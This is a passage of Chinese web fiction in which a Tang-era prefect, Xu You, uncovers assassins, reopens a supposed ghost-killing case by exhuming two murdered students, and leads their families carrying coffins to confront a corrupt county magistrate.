“我创立罗网,网罗天下人才,要的是密不透风,可没想到,现在居然在我身边,出了如此大的纰漏!” “庄濡,你好歹也是一代大儒,当初你是如何答应我的?” 庄濡抬起头,身体颤抖的更加厉害。 他第一次见到眼前青年,是如此冷漠,也第一次见到那恐怖的杀意。 这是从尸山血海中爬出来,一步步成长至今的存在。 罗网创立的目的,就是为了辅助青尧县。 情报和人才,是发展的关键,为了建立罗网,许攸花费重金。 可如今的一个失误,让他所有算盘全部全部落空。 “大人,我该死!” “青尧县如何了?” “目前青尧县一切正常运行,您走后没有人有二心,您留下的那些书,也正常安排人学习。” 庄濡额头汗水,已经将眼帘模糊。 他甚至不敢抬头,不敢去看许攸一眼。 “康王也加派了人手,将所有驿站封锁,如今朝廷无法进入到荆州,青尧县暂时还是安全的!” “暂时……呵呵!” 许攸心头的冷意更多。 今天之后,朝中百官会对他的身份产生好奇,天子为了他西巡,为了他呵斥群臣,还让他留着长安当京兆府尹。 这一切的一切,都不寻常! 只怕有心人,已经开始派人,往荆州去调查! 到时候青尧县的秘密,迟早要公之于众。 他修长的手指,在桌面上不断轻敲,每一下都仿佛敲在庄濡的心头。 若是有文坛之人在此,一定会惊愕。 庄濡可是当世大儒,不过因为家境中落,也彻底消失无踪,没想到居然成了罗网的负责人。 屋内的气氛很是肃杀,冷密的空气,压得人喘不过气。 庄濡不敢大声呼吸,胸腔不停欺负,双眼也逐渐变成了血红色。 他所等待的时机,到现在彻底不可能实现,这一切的原因,都是他自己形成。 许攸深深的叹了口气,他的布局还是出了差错,若是早点洞察到,就不会出现如今的局面。 “天子西巡这件事,无法压制下去,看来必须找点其他手段。” “大人,那罗网以后?” 庄濡面露凝重,他如此失责,按理应该卸掉所有的职责。 许攸摇头,他可没时间接手罗网。 “罗网还是你负责,我只希望如此错误,只能出现这么一次!” “若是再有下次,不用我吩咐,你知道如何做!” 庄濡听到这话,满脸都是不敢置信。 罗网如今遍布大唐,连突厥内部,都被他们渗透。 如此庞大的势力,许攸居然还要交给他这个罪人! “我没时间管,也不会插手,罗网的初衷就是情报和人才。” “你有心劝天公降人才,那就自己努力,若是再敢犯错,你自己提头来见我!” “明白!” 庄濡深吸一口气,他的目光不是振兴大唐,而是天下大同! 为了这个梦,他在不断的努力。 得到许攸的原谅,他也没敢大意。 “大人,属下还有一事要说。” “说吧。” “蒙武可能要反!” “什么?” 要是说青尧县暴露,是个惊天大雷,那蒙武要反,那就是地震。 蒙武是大唐的上将军,至高无上的存在,一旦他要反叛,响应的人不知道凡几。 许攸皱起眉,这个消息让他措手不及。 “消息来源什么地方?” “属下前几日截获的消息,蒙武差人给恭王送了一份书信。” 庄濡说着从怀里掏出三份书信。 许攸接过书信,上面的内容已经经过了罗网的翻译,成了白话。 蒙武在信中说了青尧县一切,告诉恭王青尧县的特殊以及强大。 同样,他也没把丧子之痛隐藏,在信中把许攸贬低成了个恶棍,和康王蛇鼠一窝的恶棍。 两人谋划了一番,在书信中安排了人手,打算潜入皇宫,不过被罗网的人发现,已经解决掉。 “有点意思,刺杀天子不成,居然打算刺杀我?” “这批人的身份,查到了吗?” 庄濡似乎就等这句话,闻言拍拍手,身后的店铺门猛然打开,五名身着黑衣的人悄然出现。 几人手里都提着个脑袋,其中还有个脑袋,是许攸上午才见过的。 “大人,您的府邸那个宫女,也是个刺客!” 第八十九章 下马威 “她也是刺客?” 对罗网的情报能力,许攸没多少怀疑,只是没想到白曦月居然有如此身份。 “她的资料呢?” “都在此处。” 庄濡将白曦月的资料全部取出,恭敬的放到桌上。 许攸看了眼,嘴角微微上翘。 白曦月原名白芷,是原户部尚书白崇的女儿,因为从小深受父亲喜爱,自幼饱读诗书,号称兰花仙。 白崇因太子一案被牵连,白芷也被冲入教司坊,她们这批宫女是恭王亲自挑选送入宫中,连名字都是恭王起的。 “有点意思了!” 将有关白芷的资料全部丢入炭盆,许攸眼底的冷笑越来越浓厚。 女帝监视他,他可以忍,恭王算个屁,居然也敢监视他。 那老狐狸的但凡在朝堂上放个屁,他都不会如此被动,可惜他布置的局,恭王居然不钻。 “此事我自己处理,你们继续监视皇宫和青尧县,有任何异动,立刻和我汇报。” 许攸摆摆手,大摇大摆走了出去。 许府第一天落成,少了两名家丁,此事没惊动任何人。 剩下的十人之中,除了白芷是恭王派来的,还有六人分别来自不同的势力,其中三人是来自武将团体。 得知六人的身份,许攸都惊的合不拢嘴。 这六人之中,居然没一个是女帝安排,多少有点不合情理。 不过这也在他预料中,女帝要动手,这是一句话的事情,现在不动手,就是在拿他钓鱼。 一夜无话,第二天刚蒙蒙亮,许攸便被催醒。 今天是他担任京兆府府尹的第一天,京兆府负责掌管长安城的大小事宜,属于很独特的存在。 清晨的长安城,不似青尧县那么热闹,淡淡雾气萦绕在街道上,两侧有不少商家,也已经打开了大门。 许攸刚来到京兆府门口,就被两名差役拦住。 “来者何人!” “许攸!” 许攸以为报上自己名号,两名差役肯定会认得。 谁知道对方只是眉头一挑,出言直接驱赶。 “哪来的,去哪待着,这里是京兆府,可不是你们这些贱皮子能进。” “赶紧滚,别惹得本老爷动粗。” 年纪大点的差役,居高临下斜瞥一眼许攸,脸上的轻蔑,几乎要化作实质。 “今日咱们京兆府有贵人来,你这贱皮子看的人模狗样,若是冲撞了贵人,看老爷不扒了你的皮。” 许攸没穿官服,他就是想看看,这京兆府到底是什么地方。 这两名差役身上没露水,多半是刚换岗,既然不知道他名讳,那么官印和文书,至少得认。 许攸慢悠悠从背后掏出官印和认命文书,往差役面前丢过去。 “瞪大你的狗眼看看,看看我是谁!” “呵呵,居然和老爷叫板上了,我今日倒要看看,你到底是……” 差役话说到一半,额头汗珠浮现,脸上的狂傲彻底消失不见。 “不好意思,我大抵就是你口中的贵人。” “许……许大人,贵安。” 差役此刻身体都已经开始颤抖。 “别贵安,你刚刚不是挺狂,要拿鞭子抽我。” “来来来,我就站在这里,麻烦对头抽,抽的狠一点!” 许攸依旧满脸笑容,只是笑的很冷。 任凭谁都能看出来,他现在很生气。 差役脸上早已布满了恐惧,急忙半蹲下身体,将姿态放低。 “属下不知府尹大人抵达,是属下眼拙,还请大人恕罪。” 许攸眯起眼,都这时候了,差役还拦在门口,要说没人指示,他是不相信的。 他能感觉到,对方就是故意刁难他。 长安城就是个大旋涡,自从他塌进来,就代表进入到这个旋涡中。 就在双方僵持之际,门内走出来个三十左右青年,青年身穿官袍,满脸都是笑颜。 “下官箫成,添为京兆府文书,见过许大人!” 许攸淡定的拱手回礼,从头到尾都没多看一眼两名差役。 “为何不曾见到其他人?” 箫成脸上笑容不减,躬身再次一拜,将自己身份放的很低。 “回大人的话,今日当值的陈主簿偶染风寒,怕冲撞到大人,遂告了病假。” “现在京兆府内是由卢主簿代为管事,他已经在政事堂内等候,还请大人移步,下官这就引您进去。” 说完这句后,箫成又快步从台阶上走下,来到许攸身边,将地上的包裹捡起,一阵拍打之后,亲自抱在怀里。 “许大人,卢主簿在京兆府多年,脾气比较古板,您初来,不要和他一般见识。” 许攸脸上浮现出玩味,先来个差役下马威,又来个文书,现在连个小主簿,都要给他脸色。 看来他这个京兆府府尹,确实不好当。 不过这也合了他心意,要是好当,他可不会过来。 跟在箫成身后,两人东拐西拐,走了快十分钟,这才在一间颇为宽大的房间前止住脚步。 箫成露出个歉意神色,又仰头朝着房间内躬身禀报。 “卢主簿,许府尹来了!” “带他进来!” 房间内传来一道沙哑的声音,从声音中听不出喜怒。 箫成刚要躬身请许攸进去,却被一只手给挡住。 见状,他很识趣的没继续行礼,而是不解的看向许攸。 “许大人,您这是?” “本府尹今天是开了眼,小小京兆府内,有恶差刁难不说,连主簿都是如此刁蛮无礼!” 许攸嘴角上扬,眼中精光不断闪烁。 房间内那道苍老而沙哑的声音,再次响起。 “老夫坐镇京兆府二十年,从未出过差错,伺候的府尹,没有二十也有十五,你算什么?” “不过是萌了康王的恩惠,从那荆州调任京城,真以为这天子脚下,是你个府尹能说了算?” 这话说的许攸更加火大,他可是府尹,里面的不过是主簿,论级别,他压对方不止一个等级。 论权利,京兆府府尹掌管京兆府内外所有事宜,说句不客气的话,他许攸说有罪,除非是大理寺和刑部复核,那不然就是有罪! 如今上任第一天,他就被人当成了空气,这让他都气笑了! “那不知道卢大人,乃是什么身份?” “老夫丹阳卢氏嫡系,天子在我卢氏面前,也得叫老夫一声叔伯!” 许攸懂了,同时嘴角的笑容,也愈发的灿烂。 这不就是瞌睡有人送枕头? 第九十章 被世家骑到了头上 “大人!许大人,不可冲动!” 就在许攸暴怒的时候,箫成却伸手,将他给拦住。 “许大人喜怒,且听下官一言。” 许攸深吸一口气,目光冰冷。 “你说。” “下官知道您身份不凡,您若是想动,可不能直接动他,否则得罪的可不止丹阳卢氏,还有天下所有世家。” 这话让许攸很意外。 眼前箫成也就三十五六模样,面向看上去很老成,从刚才引他进门,到现在基本上,两人都没交集。 能看出他要动手,这并不奇怪,但能说出关键厉害,这就代表箫成不是普通的文书那么简单。 “继续!” “卢氏掌握了天下布行,这位卢主簿更是嫡系,您若是直接动手,没有任何名目,哪怕陛下袒护,也无法保护您周全。” “卢氏这么厉害?” 许攸有点迷茫,是他在青尧县太久,还是外面世界变化太大。 一个世家而已,居然欺负到了皇室头上,难道女帝就不管? 他发现无论前世,还是现在的时代,对于世家贵族似乎都没什么掣肘的能力。 但凡这些世家出现在荆州,早就被他吸的就剩下骨头渣,连骨髓都不会留下一滴。 许攸捏起下巴,他对眼前的箫成,越来越好奇了。 “那你说如何?” 两人就在政事堂前,丝毫不怕门内的人听到。 箫成沉吟几息,低头缓缓开口道。 “许大人,下官不应该逾越,不过您若是想查,下官这里刚好有个卷宗,这几日一直没眉目,也无法归档,还请许大人定夺。” 和聪明人说话,就是简单! 许攸敢断定,箫成背后也有高人,只是不知道这个高人是谁。 既然对方愿意帮忙,他也乐意顺水推舟。 “带本官去卷宗室,本官要亲自查阅。” “许大人请跟我来。” 有箫成带领,许攸没受到任何阻拦,轻易就来到了卷宗室。 京兆府负责掌管整个京都的事情,而长安城只不过是京都的一部分,另外下面还有十几个县。 箫成似乎是早有准备,带着许攸来到卷宗室后,快步搬来个竹梯,爬到一座书架上,将两份卷宗取出。 “大人,这就是最近折磨下官的卷宗。” “乃是一桩女鬼索命案!” “女鬼索命?” 许攸愣了愣,许久没听到这个词,他都以为大唐没人信这个。 卷宗上记录的很简单,七日前云麓学院招生,其中三名学子以不同死法,惨死在学院内外。 其中一人是死在金水湖,而金水湖是长安城内最大的景观湖,在今年开春时候,就发生过一次花船失火,花魁被活活淹死的案子。 事情巧合就巧合在,那人死的当天,就在花船上喝酒,在傍晚时候下的花船,下船时候还和人说,见到了牡丹花魁。 至于两外两人,一个死在卧室中,另外个则是死在考场内,两人都是溺水而亡。 “大人,云麓书院乃陛下所立,是寒门子弟读书求学圣所,此次事情发酵,引得不少人议论。” “如今有不少学子,已经申请退学,就是没退学的,也无心学习,怕被女鬼再次索命。” 卷宗上写的很清楚,三人死因都是溺水,大理寺安排的仵作,基本上案子可以定性。 蹊跷就蹊跷在,云麓书院距离金水湖,可隔了大半个长安,而且云麓书院是在山上,别说是湖了,就是水缸都没几个。 往常上下山,都是通过台阶,想要淹死,那不亚于登天。 箫成站在旁边不停叹气,案子发生了好几日,京兆府差役天天查,大理寺和刑部也安排了人,可就是没结果。 继续这么下去,云麓书院被毁了不说,京兆府的名声也要彻底臭了。 “你在京兆府待了多久?” 箫成闻言愣了几秒,这才低头回答。 “还有三个月,满四年。” 许攸不急不慢,再次开口问道。 “你见过女鬼?” 女鬼? 箫成连连摇头,别说女鬼,长安城有禁军守护,什么牛鬼蛇神也不敢靠近、 “那你说,这是女鬼索命,还是有人借机杀人,打算毁掉云麓书院?” 许攸的声音依旧淡薄,但声音之中,充斥着不容拒绝的冷意。 箫成眼眸瞪圆,似乎想到了什么,额头瞬间冒出细密汗珠。 这个问题他不是没想过,只是他的身份和地位,让他不敢往深了想。 云麓书院是天子所立,为了寒门学子,一旦被毁,就等于天子威严不再。 更何况这件事是大理寺和刑部联手调查,最终定性为女鬼索命。 “大人,或许……或许是意外,意外落水……” 箫成自己都说不下去。 “山顶那么高,意外不是溺水,而是失足坠崖,你觉得这件事能说得过去?” 许攸满脸的玩味,他相信箫成有苦衷,也相信对方不是庸人,连这点简单的破绽,不可能看不出。 果然,这话一出,箫成脸上的紧张愈发浓郁,冷汗顺着鬓角,一直往下滴,将他衣领都给彻底打湿。 箫成内心翻江倒海,他发现眼前看似年轻的京兆府尹,并非自己老师口中,是个喜欢藏拙的高人。 这是货真价实的利刃,一把随时可以斩断一切的利刃。 那双眸子,就仿佛能洞穿人心,看透一切! “行了,你什么打算,我心中自有计较,既然你查不了,那本官就来查。” “走,去云麓书院!” 箫成倏地打了个寒噤,他发现自己可能搞错了情况,这次云麓书院之行,怕是要把天戳破。 大半个时辰过去,许攸和箫成坐着马车,慢悠悠来到云麓山的山脚。 云麓山就在长安城外城,属于兰阳县管辖。 地方比较偏僻,但山下很繁华,人来人往不断,其中两家还挂着白绫。 不用许攸问,箫成主动开口,指着其中一家介绍。 “大人,这家就是死在卧房内那名书生所在,那门口的老人是他爹娘,另外个抱着孩子的是他发妻。” 许攸“嗯”了一声,掀开车帘,从车上跳下。 他这一身官服,刚出现在空地上,瞬间吸引所有人目光。 一道道目光齐刷刷落在他身上,目光之中充斥着警惕,愤怒,甚至还有一丝敌意! 第九十一章 神奇的许大人 “狗官,你们滚出去!” 死的学子名叫陆邬,是个独苗苗,参加过三次科举都没中,最后得到举荐,去了云麓书院。 云澜书院出来后,再不济也能混个教书先生,比死读书强百倍。 看到许攸走近,周围的人不是惧怕,而是愤怒和警惕,陆邬的父亲更是抄起一根藤条,斜指向许攸。 “我加小邬死了,你们还来这里干什么,是要逼死我们不成?” 在大唐读书人可以免税赋,不用参加劳役。 陆邬的父亲声音沙哑,语气中充满了悲痛和恨意。 周围的人群,也在此刻躁动。 “狗官,昨日打跑个,今日还敢来,真当我们不敢告御状吗?” “天下乌鸦一般黑,这些狗官官官相护,有本事就把我们都弄死。” “荒唐,简直荒唐啊!” 箫成从马车上走下,刚走到许攸身边,就看到周围百姓,和发了疯一般。 他脑海内立刻想起,今早见到的陈主播,对方鼻青脸肿,一条腿似乎都瘸了。 “许大人,昨日陈主簿……” 话还没说完,他的话就被堵住。 许攸优哉游哉的迈开脚步,来到叫嚣最凶的陆邬父亲面前。 “老丈,你可看清楚再骂。” “本官乃是京兆府府尹,京兆府之内大小事宜,皆有本官负责!” “这是本官的印签,可不是兰阳县县令,也不是什么阿猫阿狗小吏!” 京兆府府尹,堂堂五品大员,可不是小小县令可以比拟。 闻言,骚动的人群,彻底安静下来。 所有人的目光,都落在许攸手里,那巴掌大的印签上。 陆老汉猩红的双眸中,浮现出一丝的迟疑,随后又是满脸的恨意。 “京兆府府尹又如何!” “老汉已经是个死人,老汉骂的就是你们这些狗官!” 对此事,许攸并不意外,当年他在青尧县,也不知道遇到多少。 民意,无非就是走到百姓身边,听听他们的心思,听听他们的意见。 “本官不管你如何骂,今日本官来此,只有三个目的。” “查案,办案,翻案!” “谁若是阻拦,那就是不给本官面子。本官虽然不喜欢杀人,不过折磨人,很有一手!” “另外,大唐的律法不是儿戏,正义也不会消失!” 冷笑声如同惊雷,炸响在所有人心头。 查案,办案,翻案! 正义不会消失! 陆老汉那张脸表情不断变化,一双猩红眸子,死死盯着许攸,似乎要把他看穿。 许攸冷笑连连,这种眼神他看到过很多次,早就免疫。 “别拿你的眼睛看着我,本老爷是官,你是民,我要杀你,一句话的事情!” “我是为了公平,是为了官府的颜面!” “什么狗屁的女鬼索命,若是真有女鬼,先让她过来给本老爷耍耍!” 如此粗鄙的话语,不但没引起周围众人反感,还引得不少人心中警惕松懈。 “老爷,您……您真的是来查案的?” “那不然呢?本老爷来狎妓,还是来看你们这帮穷酸苦哈哈过日子?” 许攸的言辞很犀利,几乎把这些人踩到了脚底。 然而就是这样,他在人群中的信任度,在飞速上涨。 “老爷,官老爷!” “小儿吕程冤啊!他和陆邬是同窗,却没想到被奸人所害,那些狗官为了结案,居然说是被女鬼索命!” “求老爷您开恩,给小儿个公道!” 吕程的母亲走出人群,扑通一声跪在许攸面前。 她这一跪,周围瞬间起了连锁反应。 “老爷,求老爷开恩!我家小儿死的冤枉,他不是溺水死的,是被人活活给掐死!” 嗯? 许攸眼前一亮,果然还得走到这些人身边,才能知道案件的真实情况。 “各位稍安勿躁,本老爷可没功夫听你们胡扯,现在你们一个个说。” “有冤的说冤,莫要扯别的,看热闹的滚一边去,莫要打扰本老爷断案。” “陆老汉你先说,你家陆邬怎么死的!” 明明是很混账的话,偏偏在许攸的口中,就仿佛有魔力。 许攸说完之后,瞪了眼箫成。 “愣着干什么,发呆吗?” “笔墨纸砚伺候,桌案端上来,给本老爷沏壶……弄点水!” 他本打算说好茶,想想这里不是青尧县,干脆改口叫水。 周遭百姓也不敢怠慢,有力气的出力气,没力气没冤屈的,就真缩到一边,蹲在角落看热闹。 许攸坐到椅子上,老神在在的看向对面陆老汉。 “陆老汉你慢慢说,不得有任何隐瞒,也不能捏造,本老爷会如实记录查明。” “若是有半点虚构,你儿子死因查不明,你就是罪魁祸首!” 陆老汉哪敢隐瞒,用沙哑的声音连连答应。 等箫成将笔墨纸砚准备好,许攸提起笔,开始书写。 见状,陆老汉也把陆邬遭遇全部道出。 事情也简单,云麓书院以前监考都是天子亲自监督,今年由兰阳县县令代为监督。 考试分三天,第一天考完后,陆邬等人结伴去喝酒散心,结果在花船冲撞了卢氏的公子。 同行一人被当场推下水,那卢氏的公子阻止人救援,让那人当场被淹死。 花船的人碍于卢氏权威,就说是自己跌下去。 陆邬和吕程打算告御状,两人仅隔一天,就被发现死在不同的地方。 “大人,老汉不敢有任何隐瞒,都是小儿亲口和我说的。” “他说考完之后,等见到圣上,就告那卢氏一笔!老汉劝他不要惹事,可他就是不听!” “那兰阳县的狗官,为了逼迫老汉改口,把老汉孙子掳走,至今还未送回。” “求老爷为我等做主啊!” 许攸脸色微微变化,按照陆老汉所言,卢氏公子所犯下的,可不仅仅是杀人这么简单。 在场人证那么多,却没一个指证,甚至兰阳县的县令,为了隐瞒真相,居然把陆老汉孙子掳走。 “吕家可还有其他说辞,陆老汉所言,你们可认?” “老爷,民妇认!民妇儿子也是被害死的,连儿媳都被那狗官抢走,还请大人为民妇讨个公道!” 看着眼前跪倒的人,许攸第一次觉得,这个京兆府的府尹,似乎有点意思。 不过现在有了证词,还得物证! “本老爷要开棺,你们可答应?” “若是不开棺,那此事就此作罢!” 第九十二章 抬棺闯县衙 “本老爷时间有限,你们要是答应开棺,我这就安排人。” “若是不答应,那本老爷就此作罢!” 许攸也不是一定要用人命案,去针对卢主簿,要是这些人愿意,那自然是好事。 大唐有入土为安的习俗,无论是枉死还是正常死亡,都需要土葬。 杜老汉愣在原地,眼中泪花闪烁不停,陆邬的尸身,是他花了二十两银子,从官府手里买下来的。 若是不给钱,到手不一定是尸身,有可能是一把灰! “大老爷,小儿是枉死,若是大人愿意还小儿一个公道,老汉愿意!” 陆老汉长叹一声,双膝猛然跪下,朝着许攸重重磕头。 周围的村民,以及吕氏,也齐齐跪下。 “求大人还小儿个公道!” 他们这些人,看似活在天子脚下,实则就是世家贵族豢养的宠物罢了。 许攸将众人表情看在眼底,没有拒绝众人跪拜。 “箫成!” “属下在,请大人明示。” 箫成头皮发麻,他感觉自己隐约捅破了天,今日的事情,必然要成为一桩大事。 此时他内心有激动,但更多的是害怕。 他甚至能听到,自己的心跳声,那一声声心跳,就如同战鼓,在他耳边不断擂动。 “通知京兆府仵作,本官要开棺验尸!” “喏!” 开棺验尸这种事,许攸没打算让其他人来,只见到他吹了个口哨,两名身材魁梧的大汉,从人群中走出。 见两人走出后,他淡定的开口吩咐。 “张虎你去负责开棺,周龙你负责验尸,一切从实汇报!” 两个大汉突然出现,让在场出现不小骚动。 箫成也是惊讶的看着两人,他刚让人去通知京兆府的仵作,没想到眼前许大人,居然还有如此底牌。 得到命令的张虎和周龙两人,合力将两口实木棺材抬到外面街道上。 如今已经入秋,气温不是很高,棺材刚抬出,众人就忍不住捂住口鼻。 那股腐臭味道,不停在众人面前萦绕,久久都散不掉。 箫成的脸色煞白,案子是七日前发生,陆邬的死,则是五日之前,按照时间来推算,尸体不可能腐败的如此快! 哐当! 张龙把棺材盖掀开,出现在众人面前的,是一具已经腐败的尸体,整个尸体都仿佛被水泡过,皮肤肿胀,面目恐怖。 只是看了眼的箫成,直接捂着嘴,跑到旁边干呕。 许攸倒是很淡定,低头和周龙一起,趴在棺材边缘研究。 陆邬的皮肤不是死人后那种褶皱,而是全部紧绷,就和充了气的气球似的。 “大人你看这里!” 周龙伸手指向陆邬脖颈,在左边耳根下侧,有一个针头大小黑点,若是不仔细看,还以为是痣。 黑点周围都是乌黑色,和惨白皮肤不同,一眼就能看出,陆邬生前肯定是中毒了。 铁证就在眼前,陆邬并非溺水,而是有其他缘由。 许攸眯起眼,没停下检查,挥手让周龙继续检查,他则是在旁边记录。 “大人,有发现!” 身为许攸贴身护卫,周龙四人不但武艺超群,其他各种能力,也是出类拔萃。 周龙手指捏住陆邬的嘴,也不管那股味道,快速在他口中搅动,随着他的动作,一根暗黄色布条,被缓缓拉出。 布条末端,是一枚宝玉扳指! 看到这一幕,许攸心中了然,这宝玉扳指,必然和凶手有关。 “第二具,收敛下尸身。” 将布条和扳指全部放到一旁,许攸再次开口吩咐,那冰冷的声音,让四周村民,没有一人敢靠近。 吕程的棺椁也被打开,相比陆邬的尸体,他就要惨许多。 那脸上都已经看不出人形,一块块紫黑交加,当衣服被扒开口,那憋下去的胸口,更是让许攸怒火中烧。 从表面上看,吕程只是脸上有淤青,但致命伤却是胸口,有人用钝器,砸了不止一下,祸祸把他给砸死。 这两人绝对不是溺亡! 为了袒护凶手,兰阳县的县令,居然编造女鬼索命,连大理寺和刑部,都在隐瞒真正实情! “收敛尸身,把棺材合上!” “喏!” 周龙将吕程尸体重新收敛,合棺材之前连鞠躬三次,这才缓缓合上棺材盖。 事情已经有了定论,有人故意掩盖事情真相! “大人,您可为小儿做主?” 陆老汉声音嘶哑,双眼早已被泪花侵蚀,说话间充满了谨慎和卑微。 许攸表情淡漠,没流露出半点的怜悯和同情。 “本老爷刚开棺,已经发现了证据。” “但是光有证据,可不足够!” “兰阳县县令故意隐瞒,将此事定为女鬼索命,必然是因为害怕!” “他害怕那凶手的背景!” 此言一出,陆老汉等人,都露出了绝望神色。 就连箫成,此刻也满脸的落寞。 证据是有了,可有证据,不一定代表他们能查下去。 吕程如此明显的伤势,只要不是瞎子都能看出来,兰阳县县令不敢查,那就是怕! 陆老汉瘫坐到地上,刚升起的希望,转瞬间变成了绝望,他浑身上下,都被死气笼罩。 他恨,恨世道不公,恨苍天无眼。 陆邬刚得到云麓书院的引荐,有了个安身立命机会,却枉死在他人手中。 如今更是连个清白都找不回,只能成为冤死鬼! “苍天啊!为何你要如此对我们!” 四周百姓也都纷纷跪下,每个人脸上都写满了绝望。 天子脚下都如此黑暗,更远的地方,那更加不用想。 许攸眯起眼,看来和他猜的差不多,世家门阀和贵族把持朝政,给女帝一副天下盛世景象。 他既然要闹,那就闹的大点! “嚎什么嚎?” “本老爷说不管吗?” “兰阳县县令只手遮天,若是本老爷孤身前去,一无证据,二无证词,岂不是成了刁难下属的糊涂官?” “你等若是想讨回公道,那就听本老爷的!” 说到这里,许攸浑身气势陡然一变,整个人锐气毕露,犹如一把出鞘的利刃。 “都是将死之人,闹就闹大点!” “陆老汉,本老爷问你,你可敢抬着你儿棺椁,随本老爷去闯一闯兰阳县县衙!” 轰隆! 人群陷入死一般的安静。 第九十三章 来找女鬼聊天的 陆老汉等人,都以为许攸要放弃他们,不再管这件事,哪想到回事这种结果。 回过神的他,躬身就打算跪下,给许攸磕头。 “跪什么跪,等讨回了公道,你再跪也不迟!” “你等愿不愿意,陪本老爷走一遭?” 人群彻底炸锅,一个个扬起拳头,恨不得现在就和许攸,把县衙给掀翻。 “大老爷,我们听你的!” “陆老汉抬上你儿子,咱们去讨个公道!” “那狗官欺负我等多时,我今日就把他脑袋给拧下来!” 山脚下的百姓,多是云麓书院学子的家人,这些人从四面八方而来,都指望家里顶梁柱能有好出身。 结果不是他们先找到活命机会,而是给贪官们有了吸血的借口。 挤压多年的愤怒和不甘,在这一刻化作复仇种子,快速生根发芽。 陆老汉更是一甩袖子,干脆用肩头抵住棺材。 “大老爷,老汉就一条贱命,今日无论如何,老汉多谢大老爷出手!” “多谢大老爷!” 许攸自称本老爷,这些百姓也干脆直接叫他大老爷。 上百人凝聚在一起,十几名身材魁梧的汉子走出,八人一口棺材,果断的将棺材给抬起。 许攸走在队伍最前方,手里捏着茶碗,官袍上血污很是刺眼。 这只怪异的队伍,就这么走入了官道,让所有人都瞪大眼。 往来行人看到那两口棺材,还有为首的许攸,都错愕的停下脚步。 “这……这是什么情况?” “那人是谁?当官的?” “这是要作何?难不成要去长安城告御状?” 议论声越来越多,有的在原地驻足,有的干脆跟着队伍,一路朝着兰阳县县衙而去。 从刚开始不到两百人,浩浩荡荡很快便到了三四百人规模,积压在一起的气势,搅的天上云气,都被劈成了两断。 箫成可没那之前的轻松,脸上煞白,额头冷汗一滴接着一滴落下。 “大人,不可,万万不可啊!” 他几次想阻止,话到嘴边,都被许攸给瞪了回去。 眼看人越聚越多,连朱雀卫都被惊动,他更是急的和热锅上蚂蚁一样。 “既然大人觉得此案不妥,那发回重审就是,何必要亲自去兰阳县。” “您乃京兆府府尹,亲率百姓汇聚,当众抬棺而行,不但冲撞了圣威,还犯了大忌,还请大人三思!” 箫成是真的怕了,眼前这位京兆府府尹,无异于自杀。 即便今日案子水落石出,到时候御史台,以及文武百官,会放过今日的事情? 那折子必然和雪花一样,参的许攸找不到北! 许攸脚步没有半点停顿,他的目光依旧,时不时品上一口茶,又或者冲身后队伍吆喝一声,让众人哭的惨些。 只是他勾起的嘴角,无时无刻不在出卖他内心。 从山脚到兰阳县,有两里路,偏偏这还是在朱雀大街外,往来的行人小贩,那叫个多! 今日的事情,他根本不愁没人知道。 “萧文书,咱们是官,官就要为百姓办事,要是不能为百姓办事,那当什么官,不如回家种地。” “至于他们是否要参本老爷……” 说到此处,许攸眼底浮现出戏谑。 “本老爷给了他们机会,他们若是不参,那多没意思?” “什么?!” 箫成脑袋一片空白,眼前的府尹,居然是故意让百官弹劾他! 这到底是什么情况? 可惜许攸没解释,他也理解不透,只能提心吊胆继续跟在队伍往前走。 作为京兆府的府尹,许攸是统管京兆府,但下面各个县,还是自己管自己的事情。 他的职位就相当于是长安县的县令,不过有统计和监管京兆府内县的权利。 一行人走了小半个时辰,终于来到了兰阳县县衙。 早已得到消息的兰阳县,此刻县衙门外,已经站满差役,一个个儿手持杀威棒,或者是连枷。 为首的捕头见到许攸等人,身形往前走了半步,厉声冷喝。 “此乃兰阳县县衙,尔等还不速速离开,岂敢在此地喧哗!” 若不是他声音中带着颤音,跟在许攸身后的百姓,或许就真的怕了。 今日可不同,这些百姓有了主心骨,至于陆老汉等人,早已把生死看淡,只求要个公道。 在差役惊愕的目光中,两副棺材被抬着上前。 “尔敢!” 捕头尖声大叫,如此恐怖景象,他当值这么多年,从未见过! 棺椁重重落到地上,发出沉闷声响,就如同一根刺,狠狠扎进了他的心头。 他正要再说什么,却发现零头的那名年轻官员,已经走上前。 许攸站在棺椁前方,手中茶碗,在此刻有点多余。 “本老爷许攸,京兆府府尹,今日第一次上任,听闻有女鬼索命案,对那女鬼很是好奇。” “滚开,本老爷今日就要悄悄,那女鬼是如何索命的!” 说话间,他从腰中取出印签,直接朝着捕头丢过去。 捕头看到烫金色的印签,差点吓跪倒地上。 京兆府可是他们的上司,兰阳县县令不怕,他们这些小吏不可能不怕! 刚刚他还满脸嚣张,现在只有恐惧和惊骇。 “曹大人!京兆府府尹来了!” “快禀告曹大人,京兆府的府尹亲临!” 混乱之中,许攸淡定的挥手。 “走,把棺椁抬进去,看戏的站门口,有冤的跟本老爷进来!” 周围差役想阻止,看到许攸那冰冷眼神,也瞬间退却。 随着差役的大吼,府衙内该知道的也早就得知此事。 当许攸来到公堂上时,一名肥头大耳的中年人,身着官袍,正从后院晃晃悠悠走来。 “许大人,不知道今日驾临,是所谓何意?” 来人就是兰阳县县令曹爽,他身后跟着师爷以及主簿和文书等人。 一行人正用戏谑的目光,盯着许攸猛瞅。 京兆府虽然名义上是统管京兆府,但实际上权利并不大,对下面的县衙也没多少制约能力。 许攸闻言,并没有动怒,只是玩味一笑。 “曹大人,听说你喜好人妻?” “不知道那杀人的女鬼,在什么地方,可否让本老爷也耍耍?” 只此一句话,曹爽的脸色变得更加难看,眼眸深处也浮现出冰冷杀意。 第九十四章 狂人许攸 “许大人,下官劝你不要多管闲事的好!” “此案已经有了定论,无论是大理寺还是刑部,都定为女鬼索命,难道你觉得你这京兆府府尹,能比列位大人更擅长断案?” 曹爽冷笑连连,丝毫没把许攸放在眼底。 许攸官职比他高,官衔也比他搞,但这些在长安城,可没任何作用。 “许大人,官场比的是人脉,本官乃是当朝户部尚书学生,又拜尚书省侍中为父。” “今日你如此羞辱本官,可不要怪本官不留情面!” 什么是嚣张,许攸是算切身体会到。 不用看他都知道,眼前的曹爽曹大人,必然是恶行累累,身负人命血案的那种。 没想到此行居然有意外收获! 许攸玩味的捏起下巴,功德对于他而言,自然是越多越好。 “曹大人,本老爷可不管你背后是谁,只问你女鬼索命案,你是查还是不查?” “不查!” 曹爽看都没看一眼许攸,自顾自端着茶盏,在公堂上悠然品茶。 如此一幕,可把随行而来的百姓,看的火冒三丈。 尤其是陆老汉等人,一个个瞪大血红双眼,恨不得将曹爽给生吞活剥。 “狗官!” “狗官你还我儿命来!今日我和你拼了!” 